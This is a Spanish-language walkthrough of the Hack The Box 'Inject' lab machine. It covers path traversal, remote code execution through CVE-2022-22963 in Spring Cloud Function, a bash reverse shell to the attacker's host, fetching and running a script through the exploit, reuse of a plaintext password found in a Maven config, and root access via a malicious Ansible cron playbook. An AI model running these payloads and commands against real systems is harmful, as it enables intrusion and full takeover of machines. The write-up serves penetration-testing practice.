Inject-Writeup
Table of contents
Skills
- Paht Traversal -> LFI - Local File Inclusion
- CVE-2022-22963 -> RCE - Remote Code Execution
- Information leakage -> User Pivoting
- Abusing cron tab -> Privilage Escalation
Reconocimiento
Comenzamos creando nuestros directorios para realizar un reconocimiento
$ mkdir Inject-10.10.11.204
$ cd Inject-10.10.11.204
$ mkdir nmap content exploit
Luego procedemos a realizar un escaneo con nmap
$ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.204 -oG allPorts
Yo lo exporto en formato grepeable por que tengo una función llamada extractPorts -> (link de la utilidad de extractPorts creada por s4vitar, instalar xclip)
$ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.204
[*] Open ports: 22,8080
[*] Ports copied to clipboard
Vamos a realizar un escaneo mas exhaustivo sobre esos puertos
$ nmap -sCV -p22,8080 10.10.11.204 -oN targeted
Nmap scan report for 10.10.11.204
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 caf10c515a596277f0a80c5c7c8ddaf8 (RSA)
| 256 d51c81c97b076b1cc1b429254b52219f (ECDSA)
|_ 256 db1d8ceb9472b0d3ed44b96c93a7f91d (ED25519)
8080/tcp open nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Vemos una pagina web en el puerto 8080 vamos a realizar un escaneo para ver las tecnologías y cms que usa la web. Para esto vamos a lanzar un whatweb sobre este puerto
$ whatweb http://10.10.11.204:8080
http://10.10.11.204:8080 [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], Frame, HTML5, IP[10.10.11.204], Title[Home], YouTube
No nos reporta nada de relevancia, vamos a ver como se ve la web
Vemos un servicio de almacenamiento en la nube, donde nos ofrecen ciertos planes, etc. Vemos un Log in y un Sing up pero no están del todo funcional, pero vemos un upload vamos a revisar esto
Vemos que podemos subir un archivo, eso es peligroso ya que podríamos llegar a ejecutar comandos en la maquina. Vamos a intentar subir un .txt para ver la respuesta del lado del servidor
Vemos que solo nos acepta extensiones de tipo imágenes, podemos probar ciertas técnicas para intentar subir un archivo con la extension que nos interese, pero antes vamos a subir una imagen primero, para ver la respuesta en la web
Vemos que nos subió la imagen, y nos muestra la ruta en la que este se aloja. Esto es importante, ya que si subimos un archivo malicioso necesitamos saber donde se almacena para poder apuntar a este y poder usarlo. Vamos a revisar la ruta
Y ahí esta el gato.jpg(Saludos a gato gamer, de la comunidad de hack4u. Un máquina) vemos una función "show_image?img=gato.jpg" Probando no nos deja subir otra extension que no sea una imagen. Pero vamos a pasar la petición por burpsuite para ver como se esta tramitando
Vemos la función show_image vamos a intentar un directory path traversal, para comprobar si podemos listar archivos del lado de la maquina victima
Y como podemos observar se acontece el directory path traversal, vamos a ver la rute "/var/www" que es donde probablemente este montada la pagina
Y vemos un html y un WebApp vamos a enumerar este ultimo
Y vemos varios directorio y archivos. Enumerando nos encontramos algo curioso en el archivo pom.xml
Vemos algo llamado, spring-framework v2.6.5. Investigando esto es vulnerable a CVE-2022-22963 Esto los que nos permite es ejecutar comandos deforma remota mediante una secuencia de peticiones HTTP específicas. (Para mas info les comparto un link donde pueden leer mas acerca de esto -> CVE-2020-22963 )
$ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/dh-pwnd")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080 (#0)
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/7.88.1
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/dh-pwnd")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Tue, 18 Jul 2023 20:25:56 GMT
< Connection: close
<
* Closing connection 0
{"timestamp":"2023-07-18T20:25:56.636+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
Vamos a listar si nos creo el archivo dh-pwnd en "/tpm"
Y como podemos observar, nos logramos crear un archivo en "/tmp" por tanto tenemos ejecución de comandos de forma remota. Vamos a intentar ganar acceso a la maquina
$ cd ../exploit
$ cat reverse.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.215/443 0>&1
Vamos a poner montar un servidor con python, para hacerle un curl del lado de la maquina victima y depositar lo en la maquina victima para luego ejecutarlo y ganar acceso a la maquina. En una consola hacemos lo siguiente:
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Y en otra nos ponemos en escucha con nc
$ nc -nlvp 443
listening on [any] 443 ...
Ahora depositamos el reverse.sh en la maquina victima
$ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.215/reverse.sh -o /tmp/reverse.sh")' --data-raw 'data' -v
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.204 - - [18/Jul/2023 12:47:27] "GET /reverse.sh HTTP/1.1" 200 -
Y lo ejecutamos con bash
$ curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/reverse.sh")' --data-raw 'data' -v
listening on [any] 443 ...
connect to [10.10.14.215] from (UNKNOWN) [10.10.11.204] 37208
bash: cannot set terminal process group (817): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$
Y ganamos acceso a la maquina victima(No realizo tratamiento de la tty ya que me dio mas problemas, ustedes lo pueden intentar. Si voy a definir algunas variables de entorno)
frank@inject:/$ export SHELL=bash
frank@inject:/$ export TERM=xterm
User Pivoting
Enumerando el directorio de frank nos encontramos algo raro
frank@inject:/$ cd
frank@inject:~$ ls -la
total 28
drwxr-xr-x 5 frank frank 4096 Feb 1 18:38 .
drwxr-xr-x 4 root root 4096 Feb 1 18:38 ..
lrwxrwxrwx 1 root root 9 Jan 24 13:57 .bash_history -> /dev/null
-rw-r--r-- 1 frank frank 3786 Apr 18 2022 .bashrc
drwx------ 2 frank frank 4096 Feb 1 18:38 .cache
drwxr-xr-x 3 frank frank 4096 Feb 1 18:38 .local
drwx------ 2 frank frank 4096 Feb 1 18:38 .m2
-rw-r--r-- 1 frank frank 807 Feb 25 2020 .profile
Vemos un directorio .m2 vamos a revisar su contenido
frank@inject:~$ cd .m2
frank@inject:~/.m2$ ls
settings.xml
frank@inject:~/.m2$ cat settings.xml
cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<servers>
<server>
<id>Inject</id>
<username>phil</username>
<password>DocPhillovestoInject123</password>
<privateKey>${user.home}/.ssh/id_dsa</privateKey>
<filePermissions>660</filePermissions>
<directoryPermissions>660</directoryPermissions>
<configuration></configuration>
</server>
</servers>
</settings>
vemos la contrasena de phil vamos a probar si es correcta
frank@inject:~/.m2$ su phil
Password: DocPhillovestoInject123
whoami
phil
Y ahora somos logramos convertirnos en el usuario phil(vuelvo a definir algunas variables de entorno)
$ script /dev/null -c bash
phil@inject:/home/frank/.m2$ export TERM=xterm
phil@inject:/home/frank/.m2$ export SHELL=bash
Escalada de privilegios
Vamos a transferirnos el pspy para mirar por tareas que se estén ejecutando a intervalos regulares de tiempo(link al proyecto de github de pspy -> pspy) Descargar el pspy64 de los releases y luego nos creamos un servidor local con python
$ cd ../content
$ mv /home/dh89/Download/pspy64 .
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Nos lo descargamos en la maquina victima
phil@inject:/home/frank/.m2$ cd /tmp
phil@inject:/tmp$ wget http://10.10.14.215/pspy64
--2023-07-18 21:19:37-- http://10.10.14.215/pspy64
Connecting to 10.10.14.215:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[===================>] 2.96M 452KB/s in 7.7s
2023-07-18 21:19:46 (396 KB/s) - ‘pspy64’ saved [3104768/3104768]
Le damos permisos de ejecución y lo ejecutamos
phil@inject:/tmp$ chmod +x pspy64
phil@inject:/tmp$ ./pspy64
Luego de un rato vemos una linea como esta
2023/07/18 21:22:01 CMD: UID=0 PID=58046 | /bin/sh -c /usr/local/bin/ansible-parallel /opt/automation/tasks/*.yml
Donde están ejecutando con asible-parallel cualquier archivo .yml en la ruta "/opt/automation/tasks", por tanto vamos a crear un archivo .yml malicioso para por ejemplo, asignarle el permiso SUID a la bash con el siguiente contenido(Esto lo hacemos en nuestra maquina y luego lo pasamos a la maquina victima)(Si perdeis acceso a la maquina, simplemene realizar los pasos anteriores y ganar otra consola, ya que el reverse.sh esta en "/tmp")
- hosts: localhost
tasks:
- name: pwned
ansible.builtin.shell: |
chmod +s /bin/bash
become: true
Yo lo guardo en pwned.yml por tanto
$ pyton3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
phil@inject:/$ cd /tmp
phil@inject:/tmp$ wget http://10.10.14.215/pwned.yml
--2023-07-18 21:32:56-- http://10.10.14.215/pwned.yml
Connecting to 10.10.14.215:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 123 [application/octet-stream]
Saving to: ‘pwned.yml’
pwned.yml 100%[===================>] 123 --.-KB/s in 0s
2023-07-18 21:32:57 (9.67 MB/s) - ‘pwned.yml’ saved [123/123]
Y lo depositamos en el directorio "/opt/automation/tasks"
phil@inject:/tmp$ mv pwned.yml /opt/automation/tasks
Y ahora toca esperar un rato, hasta que la bash tenga permisos SUID
phil@inject:/tmp$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /bin/bash
phil@inject:/tmp$ bash -p
bash-5.0# whoami
root
Y maquina finalizada
Conclusión
Maquina de htb bastante interesante, donde vemos un cve curioso y abusando de tareas cron. Espero que les sirva la guia y cualquier consulta tienen los comentarios o pueden contactarme por discord